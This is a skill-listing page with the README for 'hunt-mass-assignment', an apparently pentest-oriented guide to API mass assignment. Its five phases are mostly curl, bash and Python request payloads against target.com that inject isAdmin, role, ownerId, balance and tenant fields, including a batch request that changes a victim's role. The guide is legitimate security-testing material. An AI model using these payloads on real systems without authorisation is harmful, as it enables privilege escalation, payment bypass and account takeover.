mcpField
H
hunt-mass-assignment

hunt-mass-assignment

github.com/uphiagoSecurity1.3k40 installsUpdated 8w ago
Repository

About hunt-mass-assignment

hunt-mass-assignment is a security-testing skill for finding API mass assignment flaws. It guides testers through sensitive-field injection, payload variants, framework-specific checks, and verification.

Key features

  1. 01Sensitive field injection
  2. 02Naming and encoding variants
  3. 03Framework-specific test patterns
  4. 04JSON Patch and GraphQL checks
  5. 05Persistence and impact verification

Use cases

  1. 01Testing profile update endpoints
  2. 02Assessing registration and checkout APIs
  3. 03Checking PATCH authorization gaps

Install

Copy the command and run it in a terminal.

$npx skills add https://github.com/uphiago/recon-skills --skill hunt-mass-assignment

After installing, type/hunt-mass-assignmentin Claude Code to confirm it loaded.

Details

From the project README

Mass Assignment Hunting

Hunt for mass assignment vulnerabilities where API endpoints blindly bind user-supplied fields to internal objects without allowlisting. Sensitive fields like isAdmin, role, ownerId, plan, tier, balance, and verified can be injected to escalate privileges, bypass payments, or assume ownership of resources.

When to Use

  • API accepts JSON/XML/form body with fields beyond what the UI exposes.
  • User profile updates, registration, checkout, or resource creation endpoints.
  • Framework ORMs (Rails ActiveRecord, Laravel Eloquent, Django ORM, Mongoose, Prisma) where bulk assignment is the default.
  • PATCH endpoints that accept sparse updates — may skip per-field authorization.

Quick Detection

# Inject sensitive fields into profile update
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "https://target.com/api/user/profile" \
  -H "Content-Type: application/json" \
  -d '{"name":"test","isAdmin":true,"role":"admin"}'

Key Sensitive Field Dictionary

FieldImpact
isAdmin, is_admin, adminAdmin escalation
role, roles, user_roleRole escalation
ownerId, user_id, authorIdResource takeover
plan, tier, subscription_typePayment bypass
balance, credits, walletFinancial manipulation
verified, is_verified, email_verifiedVerification bypass
discount, coupon_applied, promoPricing manipulation
organizationId, tenantId, teamIdCross-tenant access
banned, disabled, suspendedAccount state control

Procedure

Phase 1 — Sensitive Field Injection
# Dictionary fuzzing on profile endpoint
FIELDS=("isAdmin:true" "role:admin" "is_admin:true" "roles:[\"admin\"]"
        "plan:enterprise" "tier:platinum" "balance:999999"
        "verified:true" "ownerId:1" "user_id:1" "authorId:1"
        "organizationId:1" "teamId:1" "tenantId:1"
        "can_manage:true" "permissions:{\"admin\":true}"
        "access_level:admin" "group:administrators"
        "is_superuser:true" "superuser:1" "staff:true")

for field in "${FIELDS[@]}"; do
  key="${field%%:*}"
  val="${field#*:}"
  curl --max-time 30 --connect-timeout 10 -sk -X PATCH "https://target.com/api/user/profile" \
    -H "Content-Type: application/json" \
    -d "{\"$key\":$val,\"name\":\"test\"}" \
    -w "\n%{http_code} — $key\n" -o /dev/null
done
Phase 2 — Shape Variants & Encoding
# Dot-path notation (Mongoose, some ORMs)
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "https://target.com/api/user/profile" \
  -d '{"profile.is_admin":true}' \
  -H "Content-Type: application/json"

# Bracket notation (PHP frameworks)
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/register" \
  -d 'user[name]=test&user[is_admin]=1' \
  -H "Content-Type: application/x-www-form-urlencoded"

# Array wrappers (Rails, Laravel)
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "https://target.com/api/user/profile" \
  -d '{"user":{"name":"test","admin":true}}' \
  -H "Content-Type: application/json"

# Duplicate keys (parser differential)
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "https://target.com/api/user/profile" \
  -d '{"name":"test","role":"user","role":"admin"}' \
  -H "Content-Type: application/json"
Phase 3 — Framework-Specific Patterns
# Django REST Framework — PATCH on nested serializers
requests.patch("https://target.com/api/profile/", json={
    "user": {"is_staff": True, "is_superuser": True}
})

# Laravel Eloquent — forceFill bypass
requests.post("https://target.com/api/users", json={
    "name": "test", "email": "[email protected]",
    "is_admin": 1, "role": "admin"
})

# Mongoose — $set on findByIdAndUpdate
requests.put("https://target.com/api/users/me", json={
    "$set": {"role": "admin", "verified": True}
})

# Prisma — connect/create nested relations
requests.post("https://target.com/api/organizations", json={
    "name": "test",
    "owner": {"connect": {"id": 1}}  # takeover existing owner
})
Phase 4 — Batch & Patch Format Exploitation
# JSON Patch — add operation with sensitive field
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "https://target.com/api/user/profile" \
  -H "Content-Type: application/json-patch+json" \
  -d '[{"op":"add","path":"/role","value":"admin"}]'

# JSON Merge Patch — full object replacement
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "https://target.com/api/user/profile" \
  -H "Content-Type: application/merge-patch+json" \
  -d '{"role":"admin","verified":true}'

# Batch endpoint — per-item auth skipped
curl --max-time 30 --connect-timeout 10 -sk -X PUT "https://target.com/api/users/batch" \
  -d '{"users":[{"id":"me","name":"test"},{"id":"VICTIM_ID","role":"admin"}]}'
Phase 5 — GraphQL Input Type Injection
mutation UpdateProfile {
  updateProfile(input: {
    name: "test"
    role: ADMIN       # injected field not in schema
    isAdmin: true     # injected field
  }) {
    id
    role
  }
}

Pitfalls

  • Some frameworks silently ignore unknown fields. Try the same field with different naming conventions (snake_case, camelCase, PascalCase).
  • PATCH may be more permissive than PUT. Test both methods — some frameworks apply different serializers per HTTP method.
  • GraphQL input types are self-documenting. Use introspection to find all writable fields, then test for extras not in the schema.
  • Batch endpoints often skip per-item authorization. Test with mixed arrays where only one item belongs to the attacker.

Verification

  1. Inject a sensitive field into a PATCH/POST/PUT endpoint that the attacker should not control.
  2. Verify the field was persisted by reading it back via GET.
  3. Confirm the field change grants elevated access (e.g., access admin panel, view other users).
  4. Test with multiple naming conventions to rule out framework-level field rejection.
  5. Check batch and patch-format endpoints which may use different serializers.

Related Skills

  • hunt-api-misconfig — Broader API misconfiguration including mass assignment patterns.
  • hunt-idor — Object-level authorization gaps often combined with mass assignment.
  • hunt-write-gap — Endpoints that allow writes without requiring read authentication.

Comments

Markdown supported